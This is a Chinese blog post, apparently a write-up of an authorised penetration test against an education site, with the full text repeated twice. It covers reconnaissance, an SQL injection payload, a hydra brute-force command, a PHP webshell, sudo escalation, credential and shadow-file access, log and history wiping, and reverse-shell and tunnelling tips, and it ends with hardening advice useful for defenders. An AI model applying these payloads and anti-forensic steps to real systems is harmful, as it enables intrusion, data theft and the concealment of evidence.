1. 项目概述与背景最近在整理自己的学习笔记翻到了几年前一次对某个教育机构内部测试站点的完整渗透记录。当时这个项目给我留下了很深的印象因为它几乎涵盖了从外部信息收集到内网横向移动的完整链条而且目标环境具有一定的代表性——很多中小型教育机构的技术栈和运维水平与之类似。今天我就把这个过程完整地复盘出来一方面是对自己技术成长的一个记录另一方面也希望其中的思路、工具和踩过的坑能给正在学习安全测试的朋友们一些实实在在的参考。请注意整个过程均在合法授权的测试环境中进行所有涉及的信息均已脱敏处理核心目的是分享技术方法论与防御思路。教育类站点往往有一些共同特点它们可能承载了在线教学、教务管理、师生信息等多种业务开发时更注重功能实现而非安全性并且由于预算或技术能力限制运维防护可能相对薄弱。这就使得它们常常成为安全演练的典型场景。我这次遇到的目标正是一个典型的LAMPLinux Apache MySQL PHP架构的Web应用对外提供课程查询和资料下载服务。我们的任务就是模拟攻击者的视角尝试发现并利用其安全漏洞最终评估其风险等级。2. 前期信息收集与资产探测渗透测试的第一步永远是尽可能多地收集目标信息。信息收集的广度与深度直接决定了后续攻击面的宽度。对于这个教育站点我没有急于直接访问其首页而是从外围开始“画地图”。2.1 域名与子域名发现首先我通过一些公开的查询工具和搜索引擎语法收集了与目标主域名相关的所有信息。比如利用site:语法在搜索引擎中查找被收录的页面可以初步了解网站结构。更重要的是子域名枚举很多管理后台、测试环境、 forgotten 的旧版应用都部署在子域名上。我使用了subfinder、amass这类工具并结合证书透明度日志CT Log查询一下子发现了几个有趣的子域名一个是admin.xxx.edu另一个是dev.xxx.edu还有一个old.xxx.edu。admin和dev这类子域名往往是突破口。注意子域名枚举时可以尝试组合不同的字典并将结果与端口扫描结合。有时候一个子域名可能解析到同一个IP的不同端口提供非常规服务。2.2 端口扫描与服务识别拿到一批域名和对应的IP地址后接下来就是对开放端口进行探测。我使用了nmap进行全端口扫描-p-但为了效率通常会先快速扫描常见端口-sS -sV -O。扫描结果显示主站80/443端口运行着Apache 2.4.29和PHP 7.2。除此之外还发现了几个关键端口21端口运行着ProFTPD 1.3.5。FTP服务如果配置不当常常是入口点。22端口开放着SSH服务OpenSSH 7.9p1。这是尝试暴力破解或密钥泄露攻击的潜在目标。3306端口MySQL数据库端口直接暴露在公网这是一个非常危险的信号意味着可能允许远程连接。8080端口运行着一个Tomcat 9.0.27服务。Java应用往往有自己的一套漏洞体系。端口扫描不仅仅是看“开没开”更要关注“跑着什么”以及“什么版本”。版本信息是后续搜索漏洞利用代码Exploit的关键。2.3 Web应用指纹识别与目录扫描针对80和443端口的Web服务我使用了Wappalyzer浏览器插件和whatweb命令行工具进行指纹识别确认了CMS是某个开源的教学管理系统版本号似乎被隐藏了但通过一些特定文件如readme.txt、CHANGELOG的蛛丝马迹可以推断其大版本。接下来是目录和文件枚举。我使用了gobuster和dirsearch搭配一个强大的字典文件。这个过程需要耐心并且要关注返回的状态码200, 301, 302, 403, 500。很快几个有价值的路径出现了/admin/ 管理后台登录入口返回302重定向到登录页。/phpinfo.php 存在这是一个巨大的信息泄露点不仅暴露了PHP配置、Web绝对路径还可能包含环境变量。/backup/ 目录列表被开启里面有一个database.sql.bak文件可能是数据库备份。/uploads/ 文件上传目录通常权限设置可能有问题。phpinfo.php的存在几乎可以断定运维人员的安全意识不足这让我对后续的测试充满了“期待”。3. 漏洞扫描与手动验证有了前面的信息铺垫就可以开始寻找具体的漏洞了。我通常采用“工具自动化扫描 手动重点验证”相结合的方式。3.1 自动化工具初筛我使用Nessus和nikto对Web应用进行了漏洞扫描。Nessus报告了几个中危漏洞包括Apache和PHP组件的某些版本存在已知漏洞以及SSL/TLS的弱加密套件。nikto则直接提示了/phpinfo.php的信息泄露和/admin/目录的存在。然而自动化工具的报告只能作为线索。真正的漏洞往往需要手动去挖掘和验证。我决定先从最明显的几个点入手。3.2 信息泄露漏洞利用首先就是那个database.sql.bak文件。直接下载下来用文本编辑器打开。果然里面是完整的数据库表结构创建语句和部分测试数据。我从中找到了管理员表wp_users的结构并且幸运地发现插入的测试数据密码竟然是明文存储虽然生产数据大概率是加密的但这给了我两个重要信息1数据库表前缀是wp_2存在一个默认用户admin密码是admin123。我立刻用这组凭证去尝试登录/admin/后台以及FTP和SSH。结果后台登录成功了但FTP和SSH失败。这说明密码可能被复用但权限或认证方式不同。3.3 SQL注入漏洞挖掘进入后台后我并没有急于进行下一步操作因为后台本身可能功能有限。我回过头来测试主站的前端功能点。在课程查询页面有一个根据ID查询课程详情的功能参数是?id1。我尝试了最基本的注入测试?id1。页面返回了数据库错误信息暴露出后端是MySQL并且错误信息被直接打印到了页面上——这是一个极佳的“报错注入”场景。通过一系列报错注入语句如?id1 and updatexml(1,concat(0x7e,(user()),0x7e),1)-- -我成功地逐步获取了当前数据库用户rootlocalhost、数据库名、以及所有表名。实操心得在测试注入时如果遇到有WAFWeb应用防火墙的情况简单的单引号可能会被拦截。这时需要尝试绕过的技巧比如使用URL编码、注释符混淆、等价函数替换等。本例中没有WAF所以过程比较顺利。获取到表名后我重点查看了wp_users表通过报错注入的updatexml函数将密码字段user_pass的值逐位提取出来。发现密码是WordPress经典的哈希格式$P$B...这是经过phpass加密的。虽然无法直接破解但结合之前备份文件里的明文密码我推测运维可能使用了弱密码或统一密码。3.4 文件上传与Webshell获取在后台浏览时我发现了“教学资料上传”功能。它允许教师上传PDF、Word等文档。我尝试上传一个带有PHP代码的图片文件shell.jpg.php但被前端校验拦截了。通过Burp Suite拦截修改请求将文件名改为shell.jpg内容却是一段PHP代码并且将Content-Type改为image/jpeg这次上传成功了但是访问上传后的文件路径/uploads/shell.jpg时Apache并没有把它当作PHP文件来解析而是直接返回了图片的二进制内容或404。这是因为服务器可能没有配置对.jpg文件进行PHP解析。我需要找一个能解析的位置。这时我想到了phpinfo.php泄露的绝对路径/var/www/html/。结合之前FTP的发现我决定尝试利用FTP服务。我用后台获取到的密码以及其他常见弱密码对FTP进行暴力破解工具是hydra。命令如下hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://target.ip -t 4 -V运气不错密码admin123竟然对FTP也有效我成功以admin用户登录了FTP。登录FTP后我直接尝试向Web根目录/var/www/html写入文件。由于FTP用户权限可能受限我先尝试列目录发现可以。然后尝试上传一个简单的PHP Webshell文件test.php内容为?php system($_GET[cmd]);?。上传成功通过浏览器访问http://target.ip/test.php?cmdid页面返回了uid33(www-data) gid33(www-data) groups33(www-data)。这意味着我成功获得了在Web服务器上的命令执行权限并且当前进程运行在www-data用户权限下。4. 权限提升与内网横向移动获得一个www-data权限的Webshell只是第一步它通常权限很低。我们的目标是获取最高权限root并探索内网。4.1 从 www-data 到普通用户在Webshell里我首先运行sudo -l命令查看当前用户可以用sudo以哪些用户的权限执行哪些命令。结果显示www-data用户被允许以teacher用户的身份无需密码运行/usr/bin/vi编辑器。这是一个经典的权限提升向量。Vi编辑器可以在编辑文件时执行系统命令。具体操作如下在Webshell中执行sudo -u teacher /usr/bin/vi /tmp/test进入Vi后输入:! /bin/bash然后回车。这样我们就启动了一个新的bash shell并且它的有效用户IDEUID变成了teacher。输入whoami确认已经是teacher用户了。现在我拥有了一个teacher用户的交互式shell。接下来查看teacher用户的家目录发现了一个.ssh文件夹里面有id_rsa私钥文件。这意味着我可以使用这把私钥通过SSH登录到teacher账户获得一个更稳定的反向Shell。4.2 从普通用户到Root登录到teacher账户后再次运行sudo -l。这次有了重大发现teacher用户被允许以root身份无需密码运行所有命令配置大概是teacher ALL(ALL) NOPASSWD: ALL。这简直是管理员配置的噩梦。那么权限提升就简单得不能再简单了直接sudo su或sudo bash输入当前用户密码或者直接回车因为配置了NOPASSWD就获得了root权限。whoami返回root目标达成。注意事项在实际测试中这种NOPASSWD: ALL的配置非常危险但确实在一些内部管理不规范的机器上存在。更常见的情况是需要寻找具有SUID位的特殊程序、利用内核漏洞如Dirty Cow、或者查找包含密码的配置文件。拿到root后第一件事就是查看/etc/shadow文件获取所有用户的密码哈希为后续可能的横向移动做准备。4.3 内网信息收集拿到root权限后这台服务器就成了我在内网的“桥头堡”。我开始了内网信息收集网络接口ifconfig或ip addr显示除了公网IP的网卡eth0还有一个内网网卡eth1IP是192.168.10.101。路由信息route -n显示内网网段是192.168.10.0/24。ARP缓存arp -a可以看到当前与该主机通信过的内网其他主机IP和MAC地址。查看历史与计划任务 检查~/.bash_historycrontab -l 看看是否有其他服务器或服务的连接信息。查看进程和连接netstat -antp发现该主机与192.168.10.20的3306端口有频繁的MySQL连接。这很可能是一台独立的数据库服务器。4.4 横向移动到数据库服务器既然发现了内网的数据库服务器192.168.10.20:3306并且当前机器作为Web服务器很可能配置了连接它的密码那么密码很可能存储在Web应用的配置文件中。我回到/var/www/html目录寻找config.php、wp-config.php、.env等文件。果然在网站根目录找到了config.inc.php里面明文写着$db_host 192.168.10.20; $db_user edu_db_user; $db_pass Edu2024Secure!;现在我有了内网数据库服务器的地址和凭据。由于我已经在Web服务器上有了root权限我可以直接使用MySQL客户端连接过去mysql -h 192.168.10.20 -u edu_db_user -pEdu2024Secure!连接成功我可以查看、修改甚至删除整个教育站点的核心业务数据。至此从外网Web渗透到内网数据库的横向移动已经完成。5. 后渗透清理与痕迹清除在授权的渗透测试中清理痕迹是必要步骤以模拟高级攻击者APT的行为并评估防守方的检测能力。主要操作包括清除命令历史 清除当前用户root, teacher的.bash_history文件并设置HISTSIZE0临时禁用历史记录。echo ~/.bash_history history -c export HISTSIZE0清除Web日志 删除或修改Apache的访问日志和错误日志/var/log/apache2/access.log,error.log中与攻击相关的条目。更隐蔽的做法是只修改特定IP和时间的记录。清除文件 删除上传的Webshell/var/www/html/test.php和通过FTP上传的其他工具。清除进程与网络连接 检查是否有异常进程或网络连接并结束它们。使用netstat和ps aux查看。清除时间线 使用touch命令修改所创建或修改文件的时间戳使其与系统其他文件时间保持一致。重要提示在真实的非法入侵中这些行为是犯罪证据。本文仅从技术角度描述在授权测试环境中的操作流程。对于防御方来说应该部署集中的日志审计系统如ELK Stack将日志实时传输到独立的、高权限访问的日志服务器避免攻击者轻易篡改。6. 漏洞根源分析与安全加固建议整个渗透过程暴露了该教育站点从外到内、从应用到系统的多层安全缺陷。以下是核心问题与加固建议漏洞环节具体问题风险等级加固建议信息泄露1.phpinfo.php文件可访问。2. 数据库备份文件 (.bak) 存放在Web目录。3. 目录列表未禁用。中1. 删除或限制访问phpinfo.php等测试文件。2. 禁止将备份文件、源代码、配置文件存放在Web可访问目录。3. 在Web服务器配置中关闭目录浏览功能。访问控制1. 后台使用默认/弱密码 (admin123)。2. FTP服务与Web后台密码复用。3. MySQL端口暴露公网。高1. 强制实施强密码策略启用多因素认证MFA。2. 禁止密码跨系统复用。3. 数据库服务只允许内网IP访问或通过SSH隧道连接。输入验证1. 课程查询功能存在报错型SQL注入。2. 文件上传功能仅前端校验可被绕过。高危1. 使用参数化查询Prepared Statements或ORM框架彻底杜绝SQL注入。2. 文件上传需在后端进行严格校验检查文件扩展名、MIME类型、文件头并重命名文件。将上传目录设置为不可执行脚本。权限配置1. FTP用户权限过高可写Web目录。2.sudo配置错误 (NOPASSWD: ALL)。3. 服务以高权限运行如MySQL以root运行。高危1. 遵循最小权限原则。FTP用户权限应严格限制与Web用户分离。2. 审计并收紧sudoers配置禁止无密码的ALL权限按需分配具体命令。3. 为MySQL等服务创建专属的低权限系统用户运行。内网安全1. 数据库凭据明文存储在配置文件中。2. 内网缺乏分段隔离Web服务器被攻破后可直接访问数据库。高1. 使用环境变量或密钥管理服务如HashiCorp Vault存储敏感凭据。2. 实施网络微隔离将Web服务器、数据库服务器置于不同子网通过防火墙严格控制东西向流量仅开放必要的端口和协议。7. 渗透测试中的常见问题与排查技巧在实际操作中很少有一帆风顺的渗透。以下是我在这次及以往测试中遇到的一些典型问题及解决思路工具扫描无结果或误报多怎么办问题自动化扫描器如Nessus, AWVS可能因为WAF、流量整形或网站结构复杂而漏报或者产生大量误报。技巧不要依赖单一工具。结合多种扫描器如nikto与gobuster互补并始终以手动验证为准。对于WAF可以尝试调整扫描速率使用代理池或利用WAF指纹识别后寻找规则盲区。遇到登录框没有凭据如何突破思路a)暴力破解使用hydra,medusa等工具但要注意账号锁定策略。b)查找默认凭据搜索目标系统/框架的默认账号密码。c)密码重置漏洞测试“忘记密码”功能是否存在逻辑漏洞如可爆破重置验证码、可篡改重置邮箱等。d)SQL注入绕过登录尝试在登录表单的用户名或密码字段进行注入使用 or 11这类Payload。上传了Webshell但无法访问或执行排查a)路径错误确认上传后的完整URL路径。b)解析问题服务器可能未配置对该后缀的解析。尝试.php,.php5,.phtml等或利用文件包含漏洞包含图片马。c)权限问题Webshell文件是否有可读权限 (r)。d)被杀软拦截内容可能被服务器端的WAF或杀毒软件静态查杀。尝试编码、混淆Webshell代码。反弹Shell连接不稳定或立即断开技巧a)升级为完全交互式Shell使用Python、Perl、Ruby等语言生成一个PTY。例如python -c import pty; pty.spawn(/bin/bash)。b)使用稳定的反向Shell工具如socat。c)后台运行与保活在目标机器上使用nohup结合让命令在后台运行或者写入计划任务 (crontab)。内网不出网如何建立代理通道场景拿下的内网服务器无法直接访问外网但你需要将内网流量代理出来进行进一步探测。方案a)反向代理如果内网机可以连到你的公网服务器常用工具如frp,ngrok,ew(EarthWorm)。b)正向代理如果内网机不能出网但你能连接到它可以在它上面部署一个代理服务如reGeorg的HTTP隧道然后你的攻击机通过这个代理去访问内网其他资源。这次对教育站点的渗透测试像一次完整的“外科手术”清晰地展示了一个看似普通的外部应用如何因为层层叠加的安全疏忽最终导致整个内网沦陷。技术本身并无善恶关键在于使用它的人。对于企业或机构而言安全建设绝非一劳永逸而是需要持续投入、不断评估和改进的体系工程。定期进行渗透测试和安全评估正是发现并修复这些“裂缝”最有效的手段之一。而对于我们安全从业者来说每一次这样的实战复盘都是对自身知识体系的一次巩固和升华。保持好奇心深入理解每一行代码、每一个配置背后的含义才能在攻防的博弈中走得更远。
从信息收集到内网横向:一次完整教育站点渗透测试实战复盘
发布时间:2026/6/26 20:42:48
1. 项目概述与背景最近在整理自己的学习笔记翻到了几年前一次对某个教育机构内部测试站点的完整渗透记录。当时这个项目给我留下了很深的印象因为它几乎涵盖了从外部信息收集到内网横向移动的完整链条而且目标环境具有一定的代表性——很多中小型教育机构的技术栈和运维水平与之类似。今天我就把这个过程完整地复盘出来一方面是对自己技术成长的一个记录另一方面也希望其中的思路、工具和踩过的坑能给正在学习安全测试的朋友们一些实实在在的参考。请注意整个过程均在合法授权的测试环境中进行所有涉及的信息均已脱敏处理核心目的是分享技术方法论与防御思路。教育类站点往往有一些共同特点它们可能承载了在线教学、教务管理、师生信息等多种业务开发时更注重功能实现而非安全性并且由于预算或技术能力限制运维防护可能相对薄弱。这就使得它们常常成为安全演练的典型场景。我这次遇到的目标正是一个典型的LAMPLinux Apache MySQL PHP架构的Web应用对外提供课程查询和资料下载服务。我们的任务就是模拟攻击者的视角尝试发现并利用其安全漏洞最终评估其风险等级。2. 前期信息收集与资产探测渗透测试的第一步永远是尽可能多地收集目标信息。信息收集的广度与深度直接决定了后续攻击面的宽度。对于这个教育站点我没有急于直接访问其首页而是从外围开始“画地图”。2.1 域名与子域名发现首先我通过一些公开的查询工具和搜索引擎语法收集了与目标主域名相关的所有信息。比如利用site:语法在搜索引擎中查找被收录的页面可以初步了解网站结构。更重要的是子域名枚举很多管理后台、测试环境、 forgotten 的旧版应用都部署在子域名上。我使用了subfinder、amass这类工具并结合证书透明度日志CT Log查询一下子发现了几个有趣的子域名一个是admin.xxx.edu另一个是dev.xxx.edu还有一个old.xxx.edu。admin和dev这类子域名往往是突破口。注意子域名枚举时可以尝试组合不同的字典并将结果与端口扫描结合。有时候一个子域名可能解析到同一个IP的不同端口提供非常规服务。2.2 端口扫描与服务识别拿到一批域名和对应的IP地址后接下来就是对开放端口进行探测。我使用了nmap进行全端口扫描-p-但为了效率通常会先快速扫描常见端口-sS -sV -O。扫描结果显示主站80/443端口运行着Apache 2.4.29和PHP 7.2。除此之外还发现了几个关键端口21端口运行着ProFTPD 1.3.5。FTP服务如果配置不当常常是入口点。22端口开放着SSH服务OpenSSH 7.9p1。这是尝试暴力破解或密钥泄露攻击的潜在目标。3306端口MySQL数据库端口直接暴露在公网这是一个非常危险的信号意味着可能允许远程连接。8080端口运行着一个Tomcat 9.0.27服务。Java应用往往有自己的一套漏洞体系。端口扫描不仅仅是看“开没开”更要关注“跑着什么”以及“什么版本”。版本信息是后续搜索漏洞利用代码Exploit的关键。2.3 Web应用指纹识别与目录扫描针对80和443端口的Web服务我使用了Wappalyzer浏览器插件和whatweb命令行工具进行指纹识别确认了CMS是某个开源的教学管理系统版本号似乎被隐藏了但通过一些特定文件如readme.txt、CHANGELOG的蛛丝马迹可以推断其大版本。接下来是目录和文件枚举。我使用了gobuster和dirsearch搭配一个强大的字典文件。这个过程需要耐心并且要关注返回的状态码200, 301, 302, 403, 500。很快几个有价值的路径出现了/admin/ 管理后台登录入口返回302重定向到登录页。/phpinfo.php 存在这是一个巨大的信息泄露点不仅暴露了PHP配置、Web绝对路径还可能包含环境变量。/backup/ 目录列表被开启里面有一个database.sql.bak文件可能是数据库备份。/uploads/ 文件上传目录通常权限设置可能有问题。phpinfo.php的存在几乎可以断定运维人员的安全意识不足这让我对后续的测试充满了“期待”。3. 漏洞扫描与手动验证有了前面的信息铺垫就可以开始寻找具体的漏洞了。我通常采用“工具自动化扫描 手动重点验证”相结合的方式。3.1 自动化工具初筛我使用Nessus和nikto对Web应用进行了漏洞扫描。Nessus报告了几个中危漏洞包括Apache和PHP组件的某些版本存在已知漏洞以及SSL/TLS的弱加密套件。nikto则直接提示了/phpinfo.php的信息泄露和/admin/目录的存在。然而自动化工具的报告只能作为线索。真正的漏洞往往需要手动去挖掘和验证。我决定先从最明显的几个点入手。3.2 信息泄露漏洞利用首先就是那个database.sql.bak文件。直接下载下来用文本编辑器打开。果然里面是完整的数据库表结构创建语句和部分测试数据。我从中找到了管理员表wp_users的结构并且幸运地发现插入的测试数据密码竟然是明文存储虽然生产数据大概率是加密的但这给了我两个重要信息1数据库表前缀是wp_2存在一个默认用户admin密码是admin123。我立刻用这组凭证去尝试登录/admin/后台以及FTP和SSH。结果后台登录成功了但FTP和SSH失败。这说明密码可能被复用但权限或认证方式不同。3.3 SQL注入漏洞挖掘进入后台后我并没有急于进行下一步操作因为后台本身可能功能有限。我回过头来测试主站的前端功能点。在课程查询页面有一个根据ID查询课程详情的功能参数是?id1。我尝试了最基本的注入测试?id1。页面返回了数据库错误信息暴露出后端是MySQL并且错误信息被直接打印到了页面上——这是一个极佳的“报错注入”场景。通过一系列报错注入语句如?id1 and updatexml(1,concat(0x7e,(user()),0x7e),1)-- -我成功地逐步获取了当前数据库用户rootlocalhost、数据库名、以及所有表名。实操心得在测试注入时如果遇到有WAFWeb应用防火墙的情况简单的单引号可能会被拦截。这时需要尝试绕过的技巧比如使用URL编码、注释符混淆、等价函数替换等。本例中没有WAF所以过程比较顺利。获取到表名后我重点查看了wp_users表通过报错注入的updatexml函数将密码字段user_pass的值逐位提取出来。发现密码是WordPress经典的哈希格式$P$B...这是经过phpass加密的。虽然无法直接破解但结合之前备份文件里的明文密码我推测运维可能使用了弱密码或统一密码。3.4 文件上传与Webshell获取在后台浏览时我发现了“教学资料上传”功能。它允许教师上传PDF、Word等文档。我尝试上传一个带有PHP代码的图片文件shell.jpg.php但被前端校验拦截了。通过Burp Suite拦截修改请求将文件名改为shell.jpg内容却是一段PHP代码并且将Content-Type改为image/jpeg这次上传成功了但是访问上传后的文件路径/uploads/shell.jpg时Apache并没有把它当作PHP文件来解析而是直接返回了图片的二进制内容或404。这是因为服务器可能没有配置对.jpg文件进行PHP解析。我需要找一个能解析的位置。这时我想到了phpinfo.php泄露的绝对路径/var/www/html/。结合之前FTP的发现我决定尝试利用FTP服务。我用后台获取到的密码以及其他常见弱密码对FTP进行暴力破解工具是hydra。命令如下hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://target.ip -t 4 -V运气不错密码admin123竟然对FTP也有效我成功以admin用户登录了FTP。登录FTP后我直接尝试向Web根目录/var/www/html写入文件。由于FTP用户权限可能受限我先尝试列目录发现可以。然后尝试上传一个简单的PHP Webshell文件test.php内容为?php system($_GET[cmd]);?。上传成功通过浏览器访问http://target.ip/test.php?cmdid页面返回了uid33(www-data) gid33(www-data) groups33(www-data)。这意味着我成功获得了在Web服务器上的命令执行权限并且当前进程运行在www-data用户权限下。4. 权限提升与内网横向移动获得一个www-data权限的Webshell只是第一步它通常权限很低。我们的目标是获取最高权限root并探索内网。4.1 从 www-data 到普通用户在Webshell里我首先运行sudo -l命令查看当前用户可以用sudo以哪些用户的权限执行哪些命令。结果显示www-data用户被允许以teacher用户的身份无需密码运行/usr/bin/vi编辑器。这是一个经典的权限提升向量。Vi编辑器可以在编辑文件时执行系统命令。具体操作如下在Webshell中执行sudo -u teacher /usr/bin/vi /tmp/test进入Vi后输入:! /bin/bash然后回车。这样我们就启动了一个新的bash shell并且它的有效用户IDEUID变成了teacher。输入whoami确认已经是teacher用户了。现在我拥有了一个teacher用户的交互式shell。接下来查看teacher用户的家目录发现了一个.ssh文件夹里面有id_rsa私钥文件。这意味着我可以使用这把私钥通过SSH登录到teacher账户获得一个更稳定的反向Shell。4.2 从普通用户到Root登录到teacher账户后再次运行sudo -l。这次有了重大发现teacher用户被允许以root身份无需密码运行所有命令配置大概是teacher ALL(ALL) NOPASSWD: ALL。这简直是管理员配置的噩梦。那么权限提升就简单得不能再简单了直接sudo su或sudo bash输入当前用户密码或者直接回车因为配置了NOPASSWD就获得了root权限。whoami返回root目标达成。注意事项在实际测试中这种NOPASSWD: ALL的配置非常危险但确实在一些内部管理不规范的机器上存在。更常见的情况是需要寻找具有SUID位的特殊程序、利用内核漏洞如Dirty Cow、或者查找包含密码的配置文件。拿到root后第一件事就是查看/etc/shadow文件获取所有用户的密码哈希为后续可能的横向移动做准备。4.3 内网信息收集拿到root权限后这台服务器就成了我在内网的“桥头堡”。我开始了内网信息收集网络接口ifconfig或ip addr显示除了公网IP的网卡eth0还有一个内网网卡eth1IP是192.168.10.101。路由信息route -n显示内网网段是192.168.10.0/24。ARP缓存arp -a可以看到当前与该主机通信过的内网其他主机IP和MAC地址。查看历史与计划任务 检查~/.bash_historycrontab -l 看看是否有其他服务器或服务的连接信息。查看进程和连接netstat -antp发现该主机与192.168.10.20的3306端口有频繁的MySQL连接。这很可能是一台独立的数据库服务器。4.4 横向移动到数据库服务器既然发现了内网的数据库服务器192.168.10.20:3306并且当前机器作为Web服务器很可能配置了连接它的密码那么密码很可能存储在Web应用的配置文件中。我回到/var/www/html目录寻找config.php、wp-config.php、.env等文件。果然在网站根目录找到了config.inc.php里面明文写着$db_host 192.168.10.20; $db_user edu_db_user; $db_pass Edu2024Secure!;现在我有了内网数据库服务器的地址和凭据。由于我已经在Web服务器上有了root权限我可以直接使用MySQL客户端连接过去mysql -h 192.168.10.20 -u edu_db_user -pEdu2024Secure!连接成功我可以查看、修改甚至删除整个教育站点的核心业务数据。至此从外网Web渗透到内网数据库的横向移动已经完成。5. 后渗透清理与痕迹清除在授权的渗透测试中清理痕迹是必要步骤以模拟高级攻击者APT的行为并评估防守方的检测能力。主要操作包括清除命令历史 清除当前用户root, teacher的.bash_history文件并设置HISTSIZE0临时禁用历史记录。echo ~/.bash_history history -c export HISTSIZE0清除Web日志 删除或修改Apache的访问日志和错误日志/var/log/apache2/access.log,error.log中与攻击相关的条目。更隐蔽的做法是只修改特定IP和时间的记录。清除文件 删除上传的Webshell/var/www/html/test.php和通过FTP上传的其他工具。清除进程与网络连接 检查是否有异常进程或网络连接并结束它们。使用netstat和ps aux查看。清除时间线 使用touch命令修改所创建或修改文件的时间戳使其与系统其他文件时间保持一致。重要提示在真实的非法入侵中这些行为是犯罪证据。本文仅从技术角度描述在授权测试环境中的操作流程。对于防御方来说应该部署集中的日志审计系统如ELK Stack将日志实时传输到独立的、高权限访问的日志服务器避免攻击者轻易篡改。6. 漏洞根源分析与安全加固建议整个渗透过程暴露了该教育站点从外到内、从应用到系统的多层安全缺陷。以下是核心问题与加固建议漏洞环节具体问题风险等级加固建议信息泄露1.phpinfo.php文件可访问。2. 数据库备份文件 (.bak) 存放在Web目录。3. 目录列表未禁用。中1. 删除或限制访问phpinfo.php等测试文件。2. 禁止将备份文件、源代码、配置文件存放在Web可访问目录。3. 在Web服务器配置中关闭目录浏览功能。访问控制1. 后台使用默认/弱密码 (admin123)。2. FTP服务与Web后台密码复用。3. MySQL端口暴露公网。高1. 强制实施强密码策略启用多因素认证MFA。2. 禁止密码跨系统复用。3. 数据库服务只允许内网IP访问或通过SSH隧道连接。输入验证1. 课程查询功能存在报错型SQL注入。2. 文件上传功能仅前端校验可被绕过。高危1. 使用参数化查询Prepared Statements或ORM框架彻底杜绝SQL注入。2. 文件上传需在后端进行严格校验检查文件扩展名、MIME类型、文件头并重命名文件。将上传目录设置为不可执行脚本。权限配置1. FTP用户权限过高可写Web目录。2.sudo配置错误 (NOPASSWD: ALL)。3. 服务以高权限运行如MySQL以root运行。高危1. 遵循最小权限原则。FTP用户权限应严格限制与Web用户分离。2. 审计并收紧sudoers配置禁止无密码的ALL权限按需分配具体命令。3. 为MySQL等服务创建专属的低权限系统用户运行。内网安全1. 数据库凭据明文存储在配置文件中。2. 内网缺乏分段隔离Web服务器被攻破后可直接访问数据库。高1. 使用环境变量或密钥管理服务如HashiCorp Vault存储敏感凭据。2. 实施网络微隔离将Web服务器、数据库服务器置于不同子网通过防火墙严格控制东西向流量仅开放必要的端口和协议。7. 渗透测试中的常见问题与排查技巧在实际操作中很少有一帆风顺的渗透。以下是我在这次及以往测试中遇到的一些典型问题及解决思路工具扫描无结果或误报多怎么办问题自动化扫描器如Nessus, AWVS可能因为WAF、流量整形或网站结构复杂而漏报或者产生大量误报。技巧不要依赖单一工具。结合多种扫描器如nikto与gobuster互补并始终以手动验证为准。对于WAF可以尝试调整扫描速率使用代理池或利用WAF指纹识别后寻找规则盲区。遇到登录框没有凭据如何突破思路a)暴力破解使用hydra,medusa等工具但要注意账号锁定策略。b)查找默认凭据搜索目标系统/框架的默认账号密码。c)密码重置漏洞测试“忘记密码”功能是否存在逻辑漏洞如可爆破重置验证码、可篡改重置邮箱等。d)SQL注入绕过登录尝试在登录表单的用户名或密码字段进行注入使用 or 11这类Payload。上传了Webshell但无法访问或执行排查a)路径错误确认上传后的完整URL路径。b)解析问题服务器可能未配置对该后缀的解析。尝试.php,.php5,.phtml等或利用文件包含漏洞包含图片马。c)权限问题Webshell文件是否有可读权限 (r)。d)被杀软拦截内容可能被服务器端的WAF或杀毒软件静态查杀。尝试编码、混淆Webshell代码。反弹Shell连接不稳定或立即断开技巧a)升级为完全交互式Shell使用Python、Perl、Ruby等语言生成一个PTY。例如python -c import pty; pty.spawn(/bin/bash)。b)使用稳定的反向Shell工具如socat。c)后台运行与保活在目标机器上使用nohup结合让命令在后台运行或者写入计划任务 (crontab)。内网不出网如何建立代理通道场景拿下的内网服务器无法直接访问外网但你需要将内网流量代理出来进行进一步探测。方案a)反向代理如果内网机可以连到你的公网服务器常用工具如frp,ngrok,ew(EarthWorm)。b)正向代理如果内网机不能出网但你能连接到它可以在它上面部署一个代理服务如reGeorg的HTTP隧道然后你的攻击机通过这个代理去访问内网其他资源。这次对教育站点的渗透测试像一次完整的“外科手术”清晰地展示了一个看似普通的外部应用如何因为层层叠加的安全疏忽最终导致整个内网沦陷。技术本身并无善恶关键在于使用它的人。对于企业或机构而言安全建设绝非一劳永逸而是需要持续投入、不断评估和改进的体系工程。定期进行渗透测试和安全评估正是发现并修复这些“裂缝”最有效的手段之一。而对于我们安全从业者来说每一次这样的实战复盘都是对自身知识体系的一次巩固和升华。保持好奇心深入理解每一行代码、每一个配置背后的含义才能在攻防的博弈中走得更远。